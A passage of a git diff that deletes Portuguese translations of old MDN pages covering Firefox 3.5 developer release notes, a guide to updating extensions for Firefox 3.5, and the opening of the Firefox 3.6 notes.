- <code><a class="internal" href="/en/CSS/:nth-last-child" title="En/CSS/:nth-last-child">:nth-last-child</a></code> <code>(en)</code></dt>
- <dt>
- <code><a class="internal" href="/en/CSS/:nth-of-type" title="En/CSS/:nth-of-type">:nth-of-type</a></code> <code>(en)</code></dt>
- <dt>
- <code><a class="internal" href="/en/CSS/:nth-last-of-type" title="En/CSS/:nth-last-of-type">:nth-last-of-type</a></code> <code>(en)</code></dt>
- <dt>
- <code><a class="internal" href="/en/CSS/:first-of-type" title="En/CSS/:first-of-type">:first-of-type</a></code> <code>(en)</code></dt>
- <dt>
- <code><a class="internal" href="/en/CSS/:nth-last-of-type" title="En/CSS/:nth-last-of-type">:last-of-type</a></code> <code>(en)</code></dt>
- <dt>
- <a class="internal" href="/en/CSS/:only-of-type" title="En/CSS/:only-of-type"><code>:only-of-type</code></a> <code>(en)</code></dt>
- <dd>
- Todos estes seletores são agora suportados pelo Firefox 3.5.</dd>
-</dl>
-<h4 id="Novas_funcionalidades_da_DOM">Novas funcionalidades da DOM</h4>
-<dl>
- <dt>
- <a class="internal" href="/Pt/DOM/Storage#localStorage" title="pt/DOM/Storage#localStorage">localStorage</a></dt>
- <dd>
- O Firefox 3.5 adiciona suporte para a propriedade <code>localStorage do</code> HTML 5, que proporciona uma maneira para as aplicações web armazenarem dados localmente no computador do cliente.</dd>
- <dt>
- <a class="internal" href="/En/Using_web_workers" title="En/Using DOM workers">Using DOM workers</a> (EN)</dt>
- <dd>
- O Firefox 3.5 suporta que trabalhadores (<em>workers</em>) DOM permitam facilmente o suporte para <em>multi-threading</em> em aplicações web.</dd>
- <dt>
- <a class="internal" href="/En/Using_geolocation" title="En/Using geolocation">Using geolocation</a> (EN)</dt>
- <dd>
- O Firefox 3.5 suporta a API de Geolocalização (<em>Geolocation API</em>), que permite a aplicações web obterem informações sobre a localização atual dos usuários se um provedor desta informação estiver instalado e habilitado.</dd>
- <dt>
- <a class="internal" href="/En/Using_native_JSON" title="En/Using JSON in Firefox">Using JSON in Firefox</a> (EN)</dt>
- <dd>
- O supore para <a class="internal" href="/en/JSON" title="En/JSON">JSON</a> está agora integrado ao DOM.</dd>
- <dt>
- <a class="internal" href="/En/DOM/Locating_DOM_elements_using_selectors" title="en/DOM/Locating DOM elements using selectors">Locating DOM elements using selectors</a> (EN)</dt>
- <dd>
- A API de seletores (<em>selectors API</em>) permite consultar um documento para localizar os elementos que combinam com uma regra de seleção dada.</dd>
- <dt>
- <a class="internal" href="/En/DOM/NodeIterator" title="En/DOM/NodeIterator">The <code>NodeIterator</code> object</a> (EN)</dt>
- <dd>
- O objeto <code>NodeIterator</code> proporciona suporte para iteração sobre a lista de nós em uma subárvore DOM.</dd>
- <dt>
- <a class="internal" href="/en/Gecko-Specific_DOM_Events#MozAfterPaint" title="en/Gecko-Specific DOM Events#MozAfterPaint">The MozAfterPaint event</a> (EN)</dt>
- <dd>
- Este novo evento DOM é enviado após realizar atualizações de pintura em janelas.</dd>
- <dt>
- <a class="internal" href="/en/Gecko-Specific_DOM_Events#MozMousePixelScroll" title="en/Gecko-Specific DOM Events#MozMousePixelScroll">The MozMousePixelScroll event</a> (EN)</dt>
- <dd>
- Este novo evento DOM permite a detecção de eventos de rolagem do mouse baseada em pixels ao invés de eventos de rolagem baseados em linhas.</dd>
-</dl>
-<h4 id="Novas_funcionalidades_JavaScript">Novas funcionalidades JavaScript</h4>
-<dl>
- <dt>
- <a class="internal" href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Object/GetPrototypeOf" title="En/Core JavaScript 1.5 Reference/Global Objects/Object/GetPrototypeOf"><code>Object.getPrototypeOf()</code></a> (EN)</dt>
- <dd>
- Este novo método retorna o protótipo de um objeto específico.</dd>
- <dt>
- Novos métodos trim no objeto String</dt>
- <dd>
- O objeto <a class="internal" href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String" title="en/Core JavaScript 1.5 Reference/Global Objects/String"><code>String</code></a> (en) tem agora os métodos <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/Trim" rel="internal"><code>trim()</code></a> (en), <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/TrimLeft" rel="internal"><code>trimLeft()</code></a> (en) e <a class="internal" href="../../../../En/Core_JavaScript_1.5_Reference/Global_Objects/String/TrimRight" rel="internal"><code>trimRight()</code></a> (en).</dd>
-</dl>
-<h4 id="Rede">Rede</h4>
-<dl>
- <dt>
- <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">Cross-site access controls for HTTP</a> (EN)</dt>
- <dd>
- No Firefox 3.5, agora é possível para requisições HTTP, incluindo as feitas por <a class="internal" href="/en/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> (en), trabalhar através de domínios, se o servidor suportar isso.</dd>
- <dt>
- <a class="internal" href="/En/Using_XMLHttpRequest#Monitoring_progress" title="En/Using XMLHttpRequest#Monitoring progress">Progress events for </a><code><a class="internal" href="/En/Using_XMLHttpRequest#Monitoring_progress" title="En/Using XMLHttpRequest#Monitoring progress">XMLHttpRequest</a></code> (EN)</dt>
- <dd>
- Eventos de progresso agora são oferecidos para permitir que extensões monitorem o progresso de requisições.</dd>
- <dt>
- Suporte a <code>XMLHttpRequest</code> síncrona melhorado</dt>
- <dd>
- <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=340345" title="https://bugzilla.mozilla.org/show_bug.cgi?id=340345">DOM Timeout</a> e <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=333198" title="https://bugzilla.mozilla.org/show_bug.cgi?id=333198">Input Events</a> agora são omitidos durante uma <code>XMLHttpRequest</code> síncrona.</dd>
- <dt>
- <a class="internal" href="/En/Controlling_DNS_prefetching" title="en/Controlling DNS prefetching">Controlling DNS prefetching</a> (EN)</dt>
- <dd>
- O Firefox 3.5 proporciona pré-carregamento DNS (<em>DNS prefetching</em>), através do qual realiza a resolução do nome do domínio antes do tempo para links incluídos na página atual, com o objetivo de poupar tempo quando os links forem realmente clicados. Este artigo descreve como você pode modificar seu web site para desabilitar o pré-carregamento, ou para ajustar como o pré-carregamento opera.</dd>
-</dl>
-<h4 id="Novas_funcionalidades_Canvas">Novas funcionalidades Canvas</h4>
-<dl>
- <dt>
- <a class="internal" href="/en/Drawing_text_using_a_canvas" title="en/Drawing text using a canvas">HTML 5 text API for <code>canvas</code> elements</a> (EN)</dt>
- <dd>
- Os elementos Canvas agora suportam a API de texto do HTML 5.</dd>
- <dt>
- <a class="internal" href="/en/Canvas_tutorial/Applying_styles_and_colors#Shadows" title="en/Canvas tutorial/Applying styles and colors#Shadows">Shadow effects in a <code>canvas</code></a> (EN)</dt>
- <dd>
- Os efeitos de sombra do Canvas agora são suportados.</dd>
- <dt>
- atributo <code>moz-opaque</code></dt>
- <dd>
- Adicionado o atributo DOM, <code>moz-opaque</code>, que permite ao canvas saber quando a translucidez será um fator ou não. Se o canvas sabe que não há translucidez, a performance de pintura pode ser otimizada.</dd>
-</dl>
-<h4 id="Novas_funcionalidades_SVG">Novas funcionalidades SVG</h4>
-<dl>
- <dt>
- <a class="internal" href="/En/Applying_SVG_effects_to_HTML_content" title="en/Applying SVG effects to HTML content">Applying SVG effects to HTML content</a> (EN)</dt>
- <dd>
- Você pode aplicar efeitos SVG ao conteúdo HTML e XHTML; este artigo descreve como.</dd>
-</dl>
-<h4 id="Novas_funcionalidades_-_Miscelânea">Novas funcionalidades - Miscelânea</h4>
-<dl>
- <dt>
- <a class="internal" href="/En/ICC_color_correction_in_Firefox" title="en/ICC color correction in Firefox">ICC color correction in Firefox</a> (EN)</dt>
- <dd>
- O Firefox 3.5 agora suporta a correção de cores ICC para imagens marcadas.</dd>
- <dt>
- O atributo <code>defer</code> é agora suportado no elemento <a class="internal" href="/En/HTML/Element/Script" title="En/HTML/Element/script"><code>script</code></a> (EN)</dt>
- <dd>
- Este atributo indica ao navegador que ele pode optar por continuar a analisar e renderizar a página sem aguardar o término da execução do script.</dd>
-</dl>
-<h3 id="Outras_melhorias">Outras melhorias</h3>
-<ul>
- <li>A unidade <code>ch</code> pode agora ser usada em qualquer lugar que aceite uma <a class="internal" href="/en/length" title="En/Length">unidade de comprimento</a> (en); "1ch" é a largura do caractere "0" (zero).</li>
- <li>A propriedade <a class="internal" href="/en/CSS/white-space" title="En/CSS/White-space"><code>white-space</code></a> <code>(en) </code>agora aceita o valor <code>pre-line</code>.</li>
- <li>A propridedade <code><a class="internal" href="../../../../En/DOM/Text.wholeText" rel="internal">wholeText</a></code> <code>(en)</code> e o método <code><a class="internal" href="../../../../En/DOM/Text.replaceWholeText" rel="internal">replaceWholeText()</a></code> <code>(en)</code> dos nós de texto foram implementados.</li>
- <li>A propriedade <code><a class="internal" href="../../../../En/DOM/Element.children" rel="internal">element.children</a></code> <code>(en)</code> foi adicionada. Ela retorna uma <em>coleção</em> de elementos filhos do elemento dado.</li>
- <li>A API Traversal Element é agora suportada pelo objeto DOM <a class="internal" href="../../../../en/DOM/element" rel="internal">Element</a> <code>(en)</code>.</li>
- <li>Nós HTML podem ser clonados usando <a class="internal" href="/En/DOM/Node/CloneNode" title="En/DOM/Node/CloneNode"><code>cloneNode()</code></a> <code>(en)</code>.</li>
- <li>Os elementos DOM enviados agora podem ser reenviados. Isto faz o Firefox 3.5 passar o teste 30 do Acid 3.</li>
- <li>Melhorias forma feitas na manipulação do DOM 2 Range.</li>
- <li>No escopo <em>não-chrome</em>, objetos pegos como exceções são agora os reais objetos lançados ao invés de um wrapper <a class="internal" href="/en/XPConnect" title="En/XPConnect">XPConnect</a> <code>(en) </code>contendo o objeto lançado.</li>
- <li>A referência ID do SVG está agora viva.</li>
- <li>Os filtros SVG agora funcionam para <code>foreignObject</code>.</li>
- <li>O método <code>GetSVGDocument()</code> foi adicionado ao elementos <a class="internal" href="/en/HTML/Element/object" title="En/HTML/Element/Object"><code>object</code></a> <code>(en) </code>e <a class="internal" href="/en/HTML/Element/iframe" title="en/HTML/Element/Iframe"><code>iframe</code></a> <code>(en)</code> para compatibilidade.</li>
-</ul>
-<h3 id="Para_desenvolvedores_XUL_e_de_complementos">Para desenvolvedores XUL e de complementos</h3>
-<p>Se você é um desenvolvedor de extensões, você deve começar lendo <a class="internal" href="/Pt/Atualizando_extens%C3%B5es_para_o_Firefox_3.5" title="Pt/Atualizando extensões para o Firefox 3.5">Atualizando extensões para o Firefox 3.5</a>, que oferece um panorama útil de mudanças que podem afetar a sua extensão.</p>
-<h4 id="Novos_componentes_e_funcionalidades">Novos componentes e funcionalidades</h4>
-<dl>
- <dt>
- <a class="internal" href="/En/Supporting_private_browsing_mode" title="En/Supporting private browsing mode">Supporting private browsing mode</a> (EN)</dt>
- <dd>
- O Firefox 3.5 oferece o modo de Navegação Privada, que não grava as atividades do usuário. Extensões podem suportar a navegação privada seguindo as orientações oferecidas por este artigo.</dd>
- <dt>
- <a class="internal" href="/En/Security_changes_in_Firefox_3.5" title="En/Security changes in Firefox 3.5">Security changes in Firefox 3.5</a> (EN)</dt>
- <dd>
- Este artigo cobre as mudanças relacionadas à segurança no Firefox 3.5.</dd>
- <dt>
- <a class="internal" href="/En/Theme_changes_in_Firefox_3.5" title="En/Theme changes in Firefox 3.5">Theme changes in Firefox 3.5</a> (EN)</dt>
- <dd>
- Este artigo cobre as mudanças relacionadas à temas no Firefox 3.5.</dd>
- <dt>
- <a class="internal" href="/En/Monitoring_WiFi_access_points" title="En/Monitoring WiFi access points">Monitoring WiFi access points</a> (EN)</dt>
- <dd>
- Código com privilégios UniversalXPConnect agora podem monitorar a lista dos pontos de acesso disponíveis, obtendo informações de seus SSIDs, endereços MAC, e força de sinal.  Isto pode ser usado em conjunto com geolocalização (<em>Geolocation</em>) para oferecer serviço de localização baseado em WiFi.</dd>
-</dl>
-<h4 id="Mudanças_e_melhorias_notáveis">Mudanças e melhorias notáveis</h4>
-<ul>
- <li>O <em>widget</em> XUL, <code><a class="internal" href="../../../../en/XUL/textbox" rel="internal">textbox</a></code> <code>(en)</code> agora oferece o tipo <code><a class="internal" href="../../../../en/XUL/Attribute/textbox.type" rel="internal">search</a></code> <code>(en)</code>, para uso como campos de busca.</li>
- <li>Com o objetivo de suportar o arrastamento e lançamento de abas entre janelas, o <em>widget</em> <a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a> <code>(en)</code> agora possui o método <a class="internal" href="/En/XUL/Method/SwapDocShells" title="En/XUL/Method/SwapDocShells"><code>swapDocShells()</code></a> <code>(en)</code>.</li>
- <li>Adicionado o atributo <a class="internal" href="/En/XUL/Attribute/Panel.level" title="en/XUL/Attribute/panel.level"><code>level</code></a> <code>(en)</code> ao elemento <a class="internal" href="/en/XUL/panel" title="En/XUL/Panel"><code>panel</code></a> <code>(en)</code><code>;</code> ele especifica se painéis aparecem no topo de outras aplicações, ou somente no topo da janela em que o painel está contido.</li>
- <li>Elementos XUL agora suportam as propriedades <code>clientXXX</code> e <code>scrollXXX</code>.</li>
- <li><a class="internal" href="/en/XUL/keyset" title="En/XUL/Keyset"><code>keysets</code></a> <code>(en) </code>agora incluem um atributo <code>disabled</code>.</li>
- <li>Em adição, <code>keyset</code>s podem agora ser removidos usando o método de nós <a class="internal" href="/En/DOM/Node.removeChild" title="En/DOM/Node.removeChild"><code>removeChild()</code></a> <code>(en)</code>.</li>
- <li><span class="lang lang-en"><code><a href="../../../../en/mozIStorageStatement" rel="internal">mozIStorageStatement</a></code>  </span><code>(en)</code> teve o método <code>initialize()</code> removido; desenvolvedores devem usar o método <span class="lang lang-en"><code><a href="../../../../en/mozIStorageConnection#createStatement()" rel="internal">createStatement()</a></code></span> <code>(en)</code> ao invés de obter uma nova declaração de objeto.</li>
- <li>A API <a class="internal" href="/en/Storage" title="En/Storage">Storage</a> <code>(en)</code> agora oferece suporte para requisições assíncronas.</li>
- <li>A interface <a class="internal" href="/en/nsICookie2" title="En/NsICookie2"><code>nsICookie2</code></a> <code>(en) </code>agora expõe o tempo que os cookies foram criados no seu novo atributo <code>creationTime</code>.</li>
- <li>Adicionada um indicador à <code><a class="internal" href="../../../../en/nsIProtocolHandler" rel="internal">nsIProtocolHandler</a></code> <code>(en)</code>(<code>URI_IS_LOCAL_RESOURCE</code>) que é checada durante o registro do <em>chrome</em> para assegurar que um protocolo tenha permissão para ser registrado. </li>
- <li>O Firefox agora procura por plugins em <code>/usr/lib/mozilla/plugins</code> no Linux, assim como as localizações anteriormente suportadas.</li>
- <li>A API plugin foi atualizada para incluir suporte para o modo de navegação privada; você pode usar agora <a class="internal" href="/en/NPN_GetValue" title="En/NPN GetValue"><code>NPN_GetValue()</code></a> <code>(en)</code> para consultar o estado do modo de navegação privada usando a variável <code>NPNVprivateModeBool</code>.</li>
-</ul>
-<h2 id="Novas_características_para_usuários_finais">Novas características para usuários finais</h2>
-<h3 id="Experiência_do_usuário">Experiência do usuário</h3>
-
-<h3 id="Segurança_e_Privacidade">Segurança e Privacidade</h3>
-
-<h3 id="Performance">Performance</h3>
-
-<h2 id="Veja_também">Veja também</h2>
-<ul>
- <li><a class="internal" href="/pt/Firefox_3_para_desenvolvedores" title="pt/Firefox 3 para desenvolvedores">Firefox 3 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox 2 para desenvolvedores">Firefox 2 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_1.5_para_Desenvolvedores" title="pt/Firefox 1.5 para Desenvolvedores">Firefox 1.5 para desenvolvedores</a></li>
-</ul>
diff --git a/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html b/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html
deleted file mode 100644
index d385b99b81..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: Atualizando extensões para o Firefox 3.5
-slug: Mozilla/Firefox/Releases/3.5/Updating_extensions
-translation_of: Mozilla/Firefox/Releases/3.5/Updating_extensions
-original_slug: Atualizando_extensões_para_o_Firefox_3.5
----
-<div>{{FirefoxSidebar}}</div>
-<p>Este artigo proporciona informação útil para desenvolvedores tentando atualizar suas extensões para trabalharem corretamente no Firefox 3.5.</p>
-<h2 id="Atualizações_básicas">Atualizações básicas</h2>
-<p>Esta seção cobre o básico do que você necessita fazer sempre que você atualiza uma extensão para uma nova versão do Firefox.</p>
-<h3 id="Teste_sua_extensão">Teste sua extensão</h3>
-<p>Começe editando o arquivo <code>install.rdf</code> da sua extensão, atualizando maxVersion para 3.5b4 (if you're testing on Firefox 3.5 beta 4), e aumente a versão da sua extensão.<br>
- <br>
- Crie então um novo perfil no Firefox, para que os testes não coloquem em risco seu perfil usual. Navegue até o diretório contendo Firefox, e então digite o comando:</p>
-<pre>firefox -createProfile testBeta4
-</pre>
-<p>No Mac, você precisa navegar por todo o caminho da <strong>bundle</strong> aplicação Firefox:</p>
-<pre>cd /Applications/Firefox.app/Contents/MacOS/
-firefox -createProfile testBeta4
-</pre>
-<p>Inicie o Firefox usando o novo perfil digitando este comando na linha de comeando:</p>
-<pre>firefox -P testBeta4
-</pre>
-<p>Teste a sua extensão cuidadosamente. Nós sugerimos que você configure as seguintes preferências para verdadeiro (true) com a finalidade de ser alertado para qualquer advertência ou exceção do JavaScript:</p>
-<ul>
- <li><code>javascript.options.strict</code></li>
- <li><code>javascript.options.showInConsole</code></li>
-</ul>
-<h3 id="Atualize_sua_extensão">Atualize sua extensão</h3>
-<p>Se você encontrar algum problema durante o teste, atualize seu código para corrigir os problemas. Este artigo contém informação sobre coisas que podem requisitar algum trabalho.<br>
- <br>
- Uma vez que tenha feito isto, tente usar sua extensão novamente, desta vez com o perfil normal. Isto ajudará a assegurar a compatibilidade com qualquer dado existente salvo.</p>
-<h3 id="Atualize_sua_extensão_em_addons.mozilla.org">Atualize sua extensão em addons.mozilla.org</h3>
-<p>Finalmente, é hora de lançar sua extensão atualizada. Se a sua extensão não necessita de qualquer mudança no código, você pode simplesmente conectar-se ao painel AMO e atualizar a compatibilidade da versão por ali. Caso contrário será necessário enviar uma nova versão para o AMO.<br>
- <br>
- Veja <a class="internal" href="/en/Submitting_an_add-on_to_AMO" title="En/Submitting an add-on to AMO">Submitting an add-on to AMO</a> (EN) para informações adicionais.</p>
-<h2 id="Acessando_o_banco_de_dados_do_Places">Acessando o banco de dados do Places</h2>
-<p>Antes do Firefox 3.5, acessar o banco de dados do Places diretamente usando a API de Armazenamento (<a class="internal" href="/en/Storage" title="En/Storage">Storage API</a> (EN)) requeria alguns truques:</p>
-<pre class="brush: js">var places = Components.classes["@mozilla.org/file/directory_service;1"].
-                        getService(Components.interfaces.nsIProperties).
-                        get("ProfD", Components.interfaces.nsIFile);
-places.append("places.sqlite");
-var db = Components.classes["@mozilla.org/storage/service;1"].
-                    getService(Components.interfaces.mozIStorageService).openDatabase(places);
-</pre>
-<p>Isto constrói um caminho manual para o arquivo do banco de dados <code>places.sqlite</code> database, então abre o arquivo para o acesso ao armazenamento.</p>
-<p>O Firefox 3.5 adiciona um serviço dedicado que oferece uma maneira mais conveniente para acessar o banco de dados do Places; a técnica a seguir não funciona no Firefox 3.5 ou anteriores.</p>
-<pre class="brush: js">var db = Components.classes["@mozilla.org/browser/nav-history-service;1"].
-                    getService(Components.interfaces.nsPIPlacesDatabase).DBConnection;
-</pre>
-<h2 id="Caixas_de_texto_de_Pesquisa">Caixas de texto de Pesquisa</h2>
-<p>O tipo de caixa de texto (<a class="internal" href="/en/XUL/textbox" title="En/XUL/Textbox"><code>textbox</code></a> (EN)) <code>timed</code> está depreciado; ao invés disso, você deve usar <code>search</code>.</p>
-<p>No Firefox 3, você pode ter usado:</p>
-<pre>&lt;textbox type="timed" timeout="1000" oncommand="alert(this.value);"/&gt;
-</pre>
-<p>No Firefox 3.5, você deve mudar para:</p>
-<pre>&lt;textbox type="search" timeout="1000" oncommand="alert(this.value);"/&gt;
-</pre>
-<h2 id="JSON">JSON</h2>
-<p>O módulo JavaScript JSON.jsm foi removido no Firefox 3.5 em favor do suporte nativo ao objeto JSON. Para detalhes, veja <a class="internal" href="/En/Using_native_JSON" title="/en/Using JSON in Firefox">Using JSON in Firefox</a> (EN) e o artigo em <a class="internal" href="/en/JSON" title="En/JSON">JSON</a> (EN) para uma introdução mais geral sobre o JSON e como usá-lo em várias versões do Firefox.</p>
-<p>Para assegurar a compatibilidade com o Firefox 3 e Firefox 3.5, você pode fazer o que segue:</p>
-<pre class="brush: js">if (typeof(JSON) == "undefined") {
-  Components.utils.import("resource://gre/modules/JSON.jsm");
-  JSON.parse = JSON.fromString;
-  JSON.stringify = JSON.toString;
-}
-</pre>
-<p>Isto funciona importando o módulo JavaScript JSON.jsm se o JSON não for suportado nativamente, mapeando então os métodos proporcionados por este módulo aos usados nativamente no JSON, então as mesmas chamadas funcinam.</p>
-<p>Você pode também contornar este problema usando a interface {{ interface("nsIJSON") }} diretamente.</p>
-<h2 id="Mudanças_nos_menus_de_contexto">Mudanças nos menus de contexto</h2>
-<p>Com o objetivo de suportar as novas características de áudio e vídeo adicionadas ao Gecko 1.9.1, a classe de <code>nsContextMenu</code> foi renomeada de <code>imageURL</code> para <code>mediaURL</code>; entretanto, <code>imageURL</code> foi adicionado novamente em 9 de junho de, 2009.</p>
-<h2 id="Mudanças_no_registro_chrome">Mudanças no registro chrome</h2>
-<p>O Firefox 3.5 corrige falhas de segurança que tornam possível o uso remoto do chrome. Isto afetará qualquer complemento que inclua recursos em seu arquivo <code>chrome.manifest</code> que referencie a um web site, dados ou urls de recursos. Veja <a class="internal" href="/En/Security_changes_in_Firefox_3.5" title="En/Security changes in Firefox 3.5">Security changes in Firefox 3.5</a> (EN) para detalhes.</p>
-<h2 id="Conseguindo_um_contexto_carregado_através_de_requisição">Conseguindo um contexto carregado através de requisição</h2>
-<p>Anteriormente, era possível conseguir um contexto carregado a partir de uma requisição por consulta a várias APIs docShell. Uma maneira correta e confiável de fazer isso é usar um {{ interface("nsILoadContext") }}.</p>
-<p>Com o C++, você pode fazer como mostrado abaixo:</p>
-<pre class="brush: cpp">nsCOMPtr&lt;nsILoadContext&gt; loadContext;
-nsCOMPtr&lt;nsIChannel&gt; channel = do_QueryInterface(aRequest);
-NS_QueryNotificationCallbacks(channel, loadContext);
-</pre>
-<p>Com o JavaScript, você pode fazer desta maneira:</p>
-<pre class="brush: js">var loadContext;
-try {
- loadContext =
- aRequest.queryInterface(Components.interfaces.nsIChannel)
- .notificationCallbacks
- .getInterface(Components.interfaces.nsILoadContext);
-} catch (ex) {
- try {
- loadContext =
- aRequest.loadGroup.notificationCallbacks
- .getInterface(Components.interfaces.nsILoadContext);
- } catch (ex) {
- loadContext = null;
- }
-}
-</pre>
-<h2 id="Barra_de_ferramentas_customizável">Barra de ferramentas customizável</h2>
-<p>No Firefox 3.5, o comportamento da barra de ferramentas customizável mudou, tal que o vínculo<code> &lt;xul:toolbar/&gt; <span style="font-family: Verdana,Tahoma,sans-serif;">agora remove itens da barra de ferramentas do seu associado</span></code> <code>&lt;xul:toolbarpalette/&gt;</code> e os adiciona na barra de ferramentas, ao invés de cloná-los e copiá-os para a barra de ferramentas. Isto significa que a paleta conterá agora somente itens não presentes na barra de ferramentas, ao contrário do comportamento anterior de conter todos os elementos, customizáveis ou não, exibidos na barra de ferramentas. Isto pode causar problemas para complementos dependendo da possibilidade de recuperar os itens da barra de ferramentas customizável através de <code>&lt;xul:toolbarpalette/&gt;</code>, ou de tentar dinamicamente inserir itens na paleta para torná-la disponível durante a customização da barra de ferramentas. Mais informações está disponível em {{ Bug(407725) }} e {{ Bug(467045) }}.</p>
-<h2 id="XPCNativeWrapper">XPCNativeWrapper</h2>
-<p>Iniciando o Firefox 3.5, você não pode mais usar <code><span style="font-family: Verdana,Tahoma,sans-serif;">data</span>:</code> you can no longer use <code>data:</code> <strong>bindings</strong> em pacotes chromeque possuem automatização <code>XPCNativeWrapper</code>. Isto resolve um potencial problema de segurança.</p>
-<p>Documentos XUL agora tem o tratamento <code>XPCNativeWrapper</code>, então você agora precisa usar o método <code>getAttribute()</code> para buscar valores de atributo ao invés de simplesmente lê-los diretamente.</p>
-<p>Se a sua extensão está usando <code>xpcnativewrappers=no</code> (o que não deveria ser feito em primeiro lugar, uma vez que não é seguro fazê-lo), o XBL desta extensão não será aplicado a documentos que estejam usando automatização <code>XPCNativeWrapper</code>, começando no Firefox 3.5.</p>
-<h2 id="Novas_características_interessantes">Novas características interessantes</h2>
-<h3 id="Listening_eventos_em_todas_as_abas">"Listening" eventos em todas as abas</h3>
-<p>O Firefox 3.5 adicionou suporte para a adição e remoção de <em>listeners</em> que <em>listen</em> em todas as abas. Veja <a class="internal" href="/En/Listening_to_events_on_all_tabs" title="en/Listening to events on all tabs">Listening to events on all tabs</a> (EN) para detalhes.</p>
-<h2 id="Para_desenvolvedores_de_temas">Para desenvolvedores de temas:</h2>
-<ul>
- <li>Cheque <a class="internal" href="../../../../En/Theme_changes_in_Firefox_3.1" rel="internal">Theme changes in Firefox 3.1</a> (EN).</li>
- <li>Acesse o fórum Mozillazine <a class="topictitle external" href="http://forums.mozillazine.org/viewtopic.php?f=18&amp;t=665138" title="http://forums.mozillazine.org/viewtopic.php?f=18&amp;t=665138">Theme changes for FF3.1</a> (EN) para uma introdução/listagem de todas as mudanças entre o Firefox 3.0 e 3.5 que trazem impactos para os desenvolvedores. Isto diz respeito às novas características do CSS (como nth-child, -moz-box-shadow, etc), mudanças para <em>widgets</em> existentes, todas as melhorias da UI (<em>User Interface</em> - Interface do Usuário) e novas características do FF3.5 (suporte de áudio/vídeo, navegação privada, restauração de sessão extendida, sombras de caixas/janelas/textos).</li>
-</ul>
-<p> </p>
diff --git a/files/pt-pt/mozilla/firefox/releases/3.6/index.html b/files/pt-pt/mozilla/firefox/releases/3.6/index.html
deleted file mode 100644
index 1413f08199..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/3.6/index.html
+++ /dev/null
@@ -1,310 +0,0 @@
----
-title: Firefox 3.6 para desenvolvedores
-slug: Mozilla/Firefox/Releases/3.6
-translation_of: Mozilla/Firefox/Releases/3.6
-original_slug: Firefox_3.6_para_desenvolvedores
----
-<div><section class="Quick_links" id="Quick_Links">
- <ol>
- <li class="toggle">
- <details>
- <summary>Firefox developer release notes</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Releases">Firefox developer release notes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Add-ons</summary>
- <ol>
- <li><a href="/pt-PT/Add-ons/WebExtensions">Browser extensions</a></li>
- <li><a href="/pt-PT/Add-ons/Themes">Themes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Firefox internals</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/">Mozilla project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Gecko">Gecko</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Headless_mode">Headless mode</a></li>
- <li><a href="/pt-PT/docs/Mozilla/JavaScript_code_modules">JavaScript code modules</a></li>
- <li><a href="/pt-PT/docs/Mozilla/js-ctypes">JS-ctypes</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MathML_Project">MathML project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MFBT">MFBT</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Projects">Mozilla projects</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Preferences">Preference system</a></li>
- <li><a href="/pt-PT/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XPCOM">XPCOM</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XUL">XUL</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Building and contributing</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions">Build instructions</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options">Configuring build options</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/How_Mozilla_s_build_system_works">How the build system works</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Mozilla source code</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Localization">Localization</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Mercurial">Mercurial</a></li>
- <li><a href="/pt-PT/docs/Mozilla/QA">Quality assurance</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Using_Mozilla_code_in_other_projects">Using Mozilla code in other projects</a></li>
- </ol>
- </details>
- </li>
- </ol>
-</section></div><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">O <a class="external" href="http://www.firefox.com/" title="http://www.firefox.com/">Firefox 3.6</a> oferece suporte para padrões web novos e em desenvolvimento, performance melhorada e uma boa experiência para usuários web e desenvolvedores. Está página proporciona links para artigos cobrindo as novas capacidades do Firefox 3.6.</p>
-
-<h2 id="Para_desenvolvedores_de_websites_e_aplicações">Para desenvolvedores de websites e aplicações</h2>
-
-<h3 id="CSS">CSS</h3>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
